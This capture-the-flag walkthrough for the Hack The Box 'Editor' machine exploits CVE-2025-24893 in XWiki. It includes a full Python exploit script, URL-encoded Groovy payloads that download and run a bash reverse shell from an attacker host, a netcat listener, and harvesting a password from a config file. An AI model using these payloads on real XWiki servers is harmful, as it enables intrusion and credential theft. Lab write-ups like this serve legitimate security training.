Skip to content

Editor - Hack The Box

Platform: Linux
IP: 10.129.179.23
Difficulty: Easy
Author: NoSec

🚨 Follow live on HTB — leaks, drops, and deep writeups
👉 t.me/nosecpwn
Don’t read. Join.


Editing the hosts file

First, add the Editor domains to the hosts file so we can reach the services by name.

sudo nano /etc/hosts
editor.htb wiki.editor.htb

Recon – Service enumeration

Nmap port scan

A quick scan reveals 3 open ports:
- 22/tcp – SSH
- 80/tcp – HTTP (nginx)
- 8080/tcp – HTTP (Jetty running XWiki)

nmap -sVC editor.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-04 15:30 CEST
Nmap scan report for editor.htb (10.129.179.23)
Host is up (0.029s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Editor - SimplistCode Pro
8080/tcp open  http    Jetty 10.0.20
| http-robots.txt: 50 disallowed entries (15 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/ 
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/ 
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/ 
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/ 
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/ 
|_/xwiki/bin/undelete/
|_http-server-header: Jetty(10.0.20)
|_http-open-proxy: Proxy might be redirecting requests
| http-methods: 
|_  Potentially risky methods: PROPFIND LOCK UNLOCK
| http-cookie-flags: 
|   /: 
|     JSESSIONID: 
|_      httponly flag not set
| http-webdav-scan: 
|   Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
|   Server Type: Jetty(10.0.20)
|_  WebDAV type: Unknown
| http-title: XWiki - Main - Intro
|_Requested resource was http://editor.htb:8080/xwiki/bin/view/Main/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

XWiki vulnerability identification

While manually browsing, we found that XWiki Debian 15.10.8 is running, which is vulnerable to CVE‑2025‑24893 RCE.

The GitHub PoC by default used the /bin/get endpoint, which returned 404 or a redirect loop on this target.
I modified the code to allow a parameterized path and make it work with /bin/view.


Modified Exploit

The exploit now allows specifying any vulnerable path.

import requests

# ==========================
# Banner
# ==========================
def display_banner():
    print("="*80)
    print("Exploit Title: CVE-2025-24893 - XWiki Platform Remote Code Execution")
    print("Made By NoSec - Modified for HTB Editor Testing")
    print("="*80)

# ==========================
# Protocol detection
# ==========================
def detect_protocol(domain):
    https_url = f"https://{domain}"
    http_url = f"http://{domain}"

    for url in [https_url, http_url]:
        try:
            response = requests.get(url, timeout=5, allow_redirects=True)
            if response.status_code < 400:
                print(f"[✔] Target supports: {url}")
                return url
        except requests.exceptions.RequestException:
            print(f"[!] Could not connect to: {url}")

    print("[✖] Target is unreachable on both HTTP and HTTPS.")
    exit(1)

# ==========================
# Exploit execution
# ==========================
def exploit(target_url, path):
    base_url = detect_protocol(target_url.replace("http://", "").replace("https://", "").strip())
    exploit_url = f"{base_url}{path}?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d"

    print(f"[+] Sending exploit to: {exploit_url}")
    try:
        response = requests.get(exploit_url, timeout=10, allow_redirects=True)

        # Debug info
        print(f"[i] Status Code: {response.status_code}")
        print(f"[i] Redirect History: {len(response.history)}")

        if response.status_code == 200 and "root:" in response.text:
            print("[✔] Exploit successful! Output:")
            print(response.text)
        elif response.status_code == 200:
            print("[!] Response received but no root string found:")
            print(response.text[:500])
        else:
            print(f"[✖] Exploit failed. Status code: {response.status_code}")
            print(response.text[:500])

    except requests.exceptions.ConnectionError:
        print("[✖] Connection failed. Target may be down.")
    except requests.exceptions.Timeout:
        print("[✖] Request timed out. Target is slow or unresponsive.")
    except requests.exceptions.RequestException as e:
        print(f"[✖] Unexpected error: {e}")

# ==========================
# Main
# ==========================
if __name__ == "__main__":
    display_banner()
    target = input("[?] Enter the target URL (without http/https): ").strip()
    path = input("[?] Enter the vulnerable path (e.g., /xwiki/bin/view/Main/SolrSearch): ").strip()
    exploit(target, path)

Exploiting the RCE

Running the exploit retrieves the /etc/passwd content.
This confirms remote command execution.

passwd

Setting up a reverse shell

Create the reverse shell script (shell.sh):

#!/bin/bash
bash -i >& /dev/tcp/YOUR_IP/4444 0>&1

Host the file with a simple Python HTTP server:

python3 -m http.server 80

Download the shell to the target using a Groovy payload:

http://editor.htb:8080/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln("wget%20-qO%20/tmp/shell.sh%20http://<YOUR_IP>/shell.sh".execute().text)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D

Executing the shell

Start a netcat listener on your machine:

nc -lvnp 4444

Execute the shell script on the target:

http://editor.htb:8080/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22bash%20/tmp/shell.sh%22.execute().text)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D

Extracting credentials

From /etc/passwd, we see that the oliver user might have credentials stored.

Navigate to /usr/lib/xwiki/WEB-INF/ and check the hibernate.cfg.xml file:

cat hibernate.cfg.xml | grep password

This reveals Oliver's password.

oliver pass

SSH access

Use the retrieved password to log in via SSH:

ssh oliver@editor.htb

Once logged in, grab the user flag.

user flag

User flag obtained!


🔐 The root part is available only in the private Telegram group while the box is active in Season 8.
👉 Join for the full writeup, extra tips, and exclusive content:
📡 https://t.me/nosecpwn